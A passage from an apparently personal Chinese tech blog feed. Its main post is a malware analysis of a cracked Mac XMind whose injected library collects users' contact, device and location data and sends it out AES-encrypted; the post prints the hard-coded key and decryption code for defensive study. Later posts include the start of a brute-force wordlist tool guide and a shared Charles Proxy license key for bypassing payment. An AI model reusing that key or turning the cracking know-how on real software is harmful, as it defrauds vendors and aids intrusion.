<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	从导出结果来看，很可疑的是CJFishPoolHook类，该类有多达16个成员， 写该动态库的程序员非常老实，没有进行任何加密、混淆类名、方法名的操作，因此从字面上也不难猜出其含义为qq号、微信号、手机号、邮箱号、操作系统、CPU类型、内存、MAC地址、内网IP、公网IP、用户名、应用列表、设备ID，是否上传信息、开启应用和关闭应用的时间。
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic3.zhimg.com/v2-a799f2e2a6bea075405a47fc5e4d8a0a_b.png" data-rawwidth="865" data-rawheight="392" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic3.zhimg.com/v2-a799f2e2a6bea075405a47fc5e4d8a0a_r.jpg" data-actualsrc="https://pic3.zhimg.com/v2-a799f2e2a6bea075405a47fc5e4d8a0a_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	第二个动态库的类方法较少，很明显能猜出，hook了程序的函数，修改程序运行逻辑。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	主要方法为:
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	1、init初始化方法
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	2、ExChangeImp，Method<br />
Swizzling动态交换函数指针，用于hook
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	3、BuyHook
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	4、CheckUpdatesHook
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	5、HelpHook
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	6、TitleHook
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	7、OpenURLHook
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	8、DateMenuItemHook
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	最后还使用了一个加密方法方法，该方法传入第一个参数(明文)，第二个参数key用于加密内容。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	@interface<br />
NSString (AES)<br />
+ (id)AESDecrypt:(id)arg1 password:(id)arg2;<br />
+ (id)AESEncrypt:(id)arg1 password:(id)arg2;<br />
@end<br />
@interface NSString (Number)<br />
- (BOOL)isPureFloat;<br />
- (BOOL)isPureLongLong;<br />
- (BOOL)isPureInt;<br />
@end
</p>
<p class="ztext-empty-paragraph" style="margin-top:-0.8em;margin-bottom:-0.8em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<i><span style="font-weight:600;">0x05 抓包分析</span></i>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	通过上面的简单分析不难猜测, 他把采集的信息发送到服务端了, 通过抓包分析该样本与服务端通信的过程如下：
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	第一次向服务端发送了checklocked,<br />
返回值为0, 说明可以传输设备信息
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic3.zhimg.com/v2-3320de8dc27915648a992cad5cd63bae_b.png" data-rawwidth="865" data-rawheight="288" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic3.zhimg.com/v2-3320de8dc27915648a992cad5cd63bae_r.jpg" data-actualsrc="https://pic3.zhimg.com/v2-3320de8dc27915648a992cad5cd63bae_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	接下的data是用来上传用户信息的。Body是经过AES加密后base编码的密文，既然key已经有了，可以尝试解开请求密文
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic4.zhimg.com/v2-eb68e3e89c99669e1b08206860b3872f_b.png" data-rawwidth="865" data-rawheight="439" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic4.zhimg.com/v2-eb68e3e89c99669e1b08206860b3872f_r.jpg" data-actualsrc="https://pic4.zhimg.com/v2-eb68e3e89c99669e1b08206860b3872f_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	通过静态分析我们知道他使用了AES加密算法, 而key就硬编码在代码中
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	结合上述过程，了解到加密算法的第一个参数为kCCEncrypt，第二个为kCCAlgorithmAES128，第三个为加密的填充模式kCCOptionECBMode。 依据此我们写出的AES解密方法应该为：
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	CCCryptorStatus<br />
cryptStatus = CCCrypt(kCCDecrypt,kCCAlgorithmAES128,kCCOptionECBMode, //ECB<br />
Mode keyPtr,kCCKeySizeAES128,iv,[self bytes],dataLength, /* input<br />
*/buffer,bufferSize, /* output */numBytesEncrypted);
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	key为：iMdpgSr642Ck:7!@<br />
解开的密文为▼
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic3.zhimg.com/v2-5c4c241d7cf8382b15ef0d3577c8452e_b.png" data-rawwidth="865" data-rawheight="866" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic3.zhimg.com/v2-5c4c241d7cf8382b15ef0d3577c8452e_r.jpg" data-actualsrc="https://pic3.zhimg.com/v2-5c4c241d7cf8382b15ef0d3577c8452e_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	下面我们看看该样本是如何获取这些用户隐私的。
</p>
<p class="ztext-empty-paragraph" style="margin-top:-0.8em;margin-bottom:-0.8em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<i><span style="font-weight:600;">0x06 静态分析</span></i>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<span style="font-weight:600;">用户隐私收集</span>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	CJFishPoolHook.dylib中会获取用户的隐私信息, 其流程如下▼
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic2.zhimg.com/v2-5ffd9fa4af11d5d488be77f41207f5b9_b.png" data-rawwidth="865" data-rawheight="490" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic2.zhimg.com/v2-5ffd9fa4af11d5d488be77f41207f5b9_r.jpg" data-actualsrc="https://pic2.zhimg.com/v2-5ffd9fa4af11d5d488be77f41207f5b9_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	在应用初始化过程中，单例类的CJFishPoolHook执行初始化Init，随后，在Init方法中进行初始化成员操作，包含上述的16个信息。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	在初始化过后，开启捕获用户信息startCapture。这其中包含获取用户联系方式(getContact)，获取设备信息(getDevice)，判断设备是否需要上传信息(checkLocked)，获取应用ID(getProduct)，获取设备上的应用列表(getFeature)，获取地理位置(getLocation)，获取启动时间(getHabitStart)。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	最后一步，上传所有数据到服务器，并且使用AES加密算法加密httpbody。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<span style="font-weight:600;">恶意收集QQ信息, 电话, 微信号，应用列表</span>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	应用从Library/Containers/com.tencent.qq/Data/Library/Application<br />
Support/QQ目录获取个人QQ信息。在该目录下，保存着用户的临时聊天记录，截图等信息。
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic3.zhimg.com/v2-94f4eb644e3313af9a9e9da4c9e32f9e_b.png" data-rawwidth="865" data-rawheight="53" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic3.zhimg.com/v2-94f4eb644e3313af9a9e9da4c9e32f9e_r.jpg" data-actualsrc="https://pic3.zhimg.com/v2-94f4eb644e3313af9a9e9da4c9e32f9e_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	从/Applications遍历本机安装的应用，形成应用列表。
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic1.zhimg.com/v2-f52983b59a98b53f390d11cd9591b2d8_b.png" data-rawwidth="865" data-rawheight="139" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic1.zhimg.com/v2-f52983b59a98b53f390d11cd9591b2d8_r.jpg" data-actualsrc="https://pic1.zhimg.com/v2-f52983b59a98b53f390d11cd9591b2d8_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<span style="font-weight:600;">恶意推广</span>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	libCJFishPoolHook.dylib修改了更新xmind的官方网站, 推广其自己的广告站点
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic2.zhimg.com/v2-3a127ec6dcfe67746376d3de3952bed5_b.png" data-rawwidth="865" data-rawheight="303" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic2.zhimg.com/v2-3a127ec6dcfe67746376d3de3952bed5_r.jpg" data-actualsrc="https://pic2.zhimg.com/v2-3a127ec6dcfe67746376d3de3952bed5_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	进程注入后，使用Method<br />
Swizzling挂钩MenuItem、Button等按钮，<span style="font-weight:600;">使其失效或重定向跳转到其他网站，屏蔽注册、激活检查更新功能</span>。难怪启动应用后发现激活按钮失效，无法进行版本更新，购买激活产品却跳转到另一个网站。
</p>
<p class="ztext-empty-paragraph" style="margin-top:-0.8em;margin-bottom:-0.8em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<i><span style="font-weight:600;">0x07 小结</span></i>
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	本次的逆向分析过程清晰，单从网络传输和静态分析上就能了解到该重打包应用运行状态的全部过程。对此公司搜集用户信息的这种行为，不想做过多评价。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	主要还是从两个方面进行总结，对于开发者而言，要了解一些基本的防御手段，注重网络传输安全、存储安全，在开发过程中，尽量不要把key明文编码于程序中，哪怕是将二次编码后的key放到应用内也好。我们无法得知软件是否会被破解，key是否会泄露，而一旦暴露出来，则很容易被利用从而解开密文信息。更有甚者，直接使用base编码内容、数据位亦或运算编码，这种更容易被分析。同时我们可以混淆加密、反调试等手段增加软件破解的难度。另一方面，站在用户的角度，下载安装未经验证的软件，是一件很危险的事情，例如著名的XcodeGhost事件，其实就是开发者安装了非官方验证的开发软件，导致开发的程序带有后门，窃取和上传大量用户信息。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	本文所述的只是个人信息安全的一角，但却不能忽视他的存在。就同本文中libCJFishPoolHook命名一样，真正的含义是鱼塘，软件使用者是鱼，养在破解者的鱼塘中，等鱼养大了，也该收网了。
</p>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	过去六年间，Mac销量越来越高，也意味着苹果用户越来越多。而用户一多，生态圈内的软件产出势必增长, 同时也会出现更多恶意软件浑水摸鱼
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic4.zhimg.com/v2-eaf43f41356cbbf568b35abe3535c2ef_b.png" data-rawwidth="865" data-rawheight="525" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic4.zhimg.com/v2-eaf43f41356cbbf568b35abe3535c2ef_r.jpg" data-actualsrc="https://pic4.zhimg.com/v2-eaf43f41356cbbf568b35abe3535c2ef_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:1.4em;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	<span style="font-weight:600;">Mac恶意软件发展历史</span>
</p>
<figure style="margin:1.4em 0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;"><img src="https://pic1.zhimg.com/v2-201ee7d6c2e29037863ecfe769558aec_b.png" data-rawwidth="865" data-rawheight="327" class="origin_image zh-lightbox-thumb lazy" width="865" data-original="https://pic1.zhimg.com/v2-201ee7d6c2e29037863ecfe769558aec_r.jpg" data-actualsrc="https://pic1.zhimg.com/v2-201ee7d6c2e29037863ecfe769558aec_b.png" data-lazy-status="ok" style="display:block;max-width:100%;margin:0px auto;cursor:zoom-in;background-color:transparent;animation:0.5s ease-in 0s 1 normal none running fxRichTextFadeIn;" /></figure>
<p style="margin-top:1.4em;margin-bottom:0px;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
	我们发现很多Mac用户对自身的安全并不是很重视，针对用户的恶意软件逐渐增多，窃取用户的隐私, 监控用户的日常行为, 恶意推广广告, etc。因此，我们应该提高自身的安全意识, 警钟长鸣。
</p>]]></description>
	<pubDate>Fri, 01 Nov 2019 06:14:25 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=93</guid>

</item>
<item>
	<title>Mac下制作加密的zip压缩包</title>
	<link>https://www.zuoer.xin/?post=92</link>
	<description><![CDATA[Mac下创建加密的zip文件，无需第三方软件，直接在终端中 敲入几行命令就能搞定。<br />
方法一：&nbsp;<br />
<br />
选择压缩包保存路径：$ cd yourPath<br />
<br />
1. 只压缩单个文件<br />
<br />
zip -e yourZipFileName.zip yourSourceFile<br />
<br />
回车 ，分别输入密码（回车）和确认密码（回车）就OK了。<br />
<br />
2. 压缩文件夹<br />
<br />
zip -e -r yourZipFileName.zip yourSourceFileDir<br />
<br />
其余同上。(-r 表示将文件夹中所有的文件进行压缩)<br />
<br />
方法二：可以通过一行命令搞定<br />
<br />
zip -r -p yourPassword yourZipFileName.zip yourSourceFileDir<br />
<br />
回车就OK了，但是这种方法只输入一次密码，万一压缩时输错密码，再想打开可就悲剧了。<br />
<br />
<br />
————————————————<br />
版权声明：本文为CSDN博主「yooozooo」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。<br />
原文链接：https://blog.csdn.net/yooozooo/article/details/42496735<br />]]></description>
	<pubDate>Fri, 25 Oct 2019 15:15:11 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=92</guid>

</item>
<item>
	<title>iconv编码转换记录</title>
	<link>https://www.zuoer.xin/?post=91</link>
	<description><![CDATA[<p>
	解决excel中文乱码
</p>
<p>
	命令
</p>
<p>
	iconv
</p>
<p>
	-f 转换前格式
</p>
<p>
	GBK 或者&nbsp;<span style="white-space:normal;">gb18030 不一定每个人都一样</span>
</p>
<p>
	<span style="white-space:normal;"><br />
</span>
</p>
<p>
	<span style="white-space:normal;">-t 转换后格式</span>
</p>
<p>
	<span style="white-space:normal;">UTF-8&nbsp;</span>大部分用这个
</p>
<p>
	<br />
</p>
<p>
	<span style="white-space:normal;">正常可用</span>
</p>
<p>
	iconv -f GBK -t UTF-8&nbsp;<span style="white-space:normal;">源文件.xls&gt;转换后文件.xls</span>
</p>
<p>
	如果出错可用此方法
</p>
<p>
	iconv -f gb18030 -t UTF-8 源文件.xls&gt;转换后文件.xls
</p>]]></description>
	<pubDate>Fri, 25 Oct 2019 14:07:44 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=91</guid>

</item>
<item>
	<title>charles系列破解激活办法（测试版本4.5）</title>
	<link>https://www.zuoer.xin/?post=90</link>
	<description><![CDATA[// Charles Proxy License<br />
// 适用于Charles任意版本的注册码，谁还会想要使用破解版呢。<br />
// Charles 4.5目前是最新版，可用。<br />
Registered Name: https://zhile.io<br />
License Key: 48891cf209c6d32bf4<br />
&nbsp;&nbsp;<br />
<br />
本方法通杀charlse系列激活问题。<br />
————————————————<br />
版权声明：本文为CSDN博主「花2不谢」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。<br />
原文链接：https://blog.csdn.net/qq_25821067/article/details/79848589<br />]]></description>
	<pubDate>Wed, 23 Oct 2019 03:47:48 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=90</guid>

</item>
<item>
	<title>把数据从excel导入mysql数据库</title>
	<link>https://www.zuoer.xin/?post=88</link>
	<description><![CDATA[<p>
	<span class="token md md-li" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:18px;text-align:justify;white-space:normal;background-color:#FFFFFF;">1. Excel</span><span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:18px;text-align:justify;white-space:normal;background-color:#FFFFFF;">文件来自windows之wps和Mac之office:步骤如下图，打开Excle文件后，点击文件-&gt;另存为；弹出对话框后如图，文件格式选择.csv项，随后保存即可。</span> 
</p>
<p>
	<span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:18px;text-align:justify;white-space:normal;background-color:#FFFFFF;">二、转换.csv文件编码格式为UTF-8（前提是数据库表编码格式为UTF-8）<br />
在终端输入 file fileName 可以查看文件编码格式。这里有两种情况，第一种，excel文件中数据没有中文，file命令后显示编码格式为ASCII text（数据表格文件由Numbers创建并按上述方式转换为.csv文件后，无论表中有无中文列，都是ASCII text格式）</span> 
</p>
<p>
	<span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:18px;text-align:justify;white-space:normal;background-color:#FFFFFF;"><br />
</span> 
</p>
<p>
	<span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:18px;text-align:justify;white-space:normal;background-color:#FFFFFF;">这种情况就不需要再转换编码格式，直接跳过下面进行第三步：“三、把.csv文件导入数据库”；<br />
第二种excel文件中数据有中文列，file命令后显示编码格式为ISO-8859 text，</span> 
</p>
<p>
	<span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:18px;text-align:justify;white-space:normal;background-color:#FFFFFF;"><br />
使用 iconv命令转换编码格式 iconv -f GBK -t UTF-8 test-mac.csv &gt; test-mac2.csv<br />
-f 表示 from，GBK是源文件编码格式， -t 表示 to，UTF-8表示目标文件格式，&gt; 输出符号。执行完之后，file命令查看文件编码文件为UTF-8。<br />
<br />
<span style="font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:13px;text-align:justify;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">三、把.csv文件导入数据库</span></span>
</p>
<p>
	<span style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;font-family:&quot;overflow-wrap:break-word;color:#5A5A5A;font-size:18px;text-align:justify;white-space:normal;background-color:#FFFFFF;">... navicat 导入即可<br />
</span> 
</p>]]></description>
	<pubDate>Mon, 09 Sep 2019 14:52:52 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=88</guid>

</item>
<item>
	<title>爬虫 嘿嘿</title>
	<link>https://www.zuoer.xin/?post=84</link>
	<description><![CDATA[<p>[该文章已设置加密]</p>]]></description>
	<pubDate>Wed, 28 Aug 2019 05:45:44 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=84</guid>

</item>
<item>
	<title>最近遇到邪门的事---电脑自己就重启了</title>
	<link>https://www.zuoer.xin/?post=82</link>
	<description><![CDATA[<p>
	<span style="font-size:18px;">嗯，每当我干点别的事回来电脑就重启，什么鬼，有病毒？</span>
</p>
<p>
	<span style="font-size:18px;">拿Avast扫一遍。扫出来的病毒木马都是我自己搞的，没问题啊。</span>
</p>
<p>
	<span style="font-size:18px;">难道我被入侵了？</span>
</p>
<p>
	<span style="font-size:18px;">那关机干什么？</span>
</p>
<p>
	<span style="font-size:18px;">抓包</span>
</p>
<p>
	<span style="font-size:18px;">没发现别的就发现sougou google apple这些老家伙 老传数据包出去，apple这老家伙还加密。。。</span>
</p>
<p>
	<span style="font-size:18px;"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/16d01565991370.png" id="ematt:129"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-16d01565991370.png" title="点击查看原图" alt="QQ20190817-052650@2x.png" border="0" width="420" height="183" /></a><br />
</span>
</p>
<p>
	<span style="font-size:18px;">奇怪，还没有，就又关机了。</span>
</p>
<p>
	<span style="font-size:18px;">我没设置自动关机啊</span>
</p>
<p>
	<span style="font-size:18px;">crontab -l<br />
</span>
</p>
<p>
	<span style="font-size:18px;">也没有。</span>
</p>
<p>
	<span style="font-size:18px;">cpu温度高了？</span>
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/da2b1565991634.png" id="ematt:131"><img src="https://www.zuoer.xin/content/uploadfile/201908/da2b1565991634.png" title="点击查看原图" alt="QQ20190817-054007@2x.png" border="0" width="736" height="192" /></a>
</p>
<p>
	我好像日了狗了
</p>
<p>
	<br />
</p>
<p>
	<span style="font-size:18px;">最近安装驱动不兼容？？？</span>
</p>
<p>
	<span style="font-size:18px;">是无线网卡拔了 电脑自动关机（不知道什么问题，我不用还不行啊，嗯不用了</span><span style="font-size:18px;">） 这个我也没插网卡啊</span>
</p>
<p>
	<span style="font-size:18px;">，，，</span>
</p>
<p>
	<span style="font-size:18px;">今早早上google救了我，</span>
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/f87f1565991866.png" id="ematt:133"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-f87f1565991866.png" title="点击查看原图" alt="QQ20190817-053130@2x.png" border="0" width="420" height="364" /></a>
</p>
<p>
	<span style="font-size:24px;">在这里。我日。我怎么把这事忘了。</span>
</p>]]></description>
	<pubDate>Fri, 16 Aug 2019 21:20:23 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=82</guid>

</item>
<item>
	<title>pydictor爆破字典生成指南</title>
	<link>https://www.zuoer.xin/?post=80</link>
	<description><![CDATA[<h2>
	0x00：简介
</h2>
<p style="margin-left:20px;">
	pydictor是一个使用python语言开发，遵循GPLv3协议的开源命令行工具，主要用来帮助安全研究人员生成称心如意的暴力破解字典。
</p>
<p style="margin-left:20px;">
	以功能强大、简洁实用、适用场景多、自定义程度强为开发目标。
</p>
<p style="margin-left:20px;">
	<strong>开源地址：</strong><strong><a href="https://github.com/LandGrey/pydictor">pydictor</a></strong> 
</p>
<p>
	<br />
</p>
<h2>
	0x01：特点与功能
</h2>
<p style="margin-left:20px;">
	今天主要是讲pydictor如何结合渗透测试过程常见的场景使用，特点与功能<a href="https://github.com/LandGrey/pydictor/blob/3c855fecd0274205edef461096db6cdc4c008777/README_CN.md">REAME</a>有详细讲解，下面只梳理一下大概脉络，方便下文的理解。
</p>
<h4>
	特点：
</h4>
<pre>1. 完全使用python的原生库写成，不需要额外安装其它任何的python模块;
2. 同时支持python 2.7+ 和python 3.4+版本，可在Windows、Linux和Mac平台上运行;
3. 可自定义化程度高，留出很多可配置规则的文件;
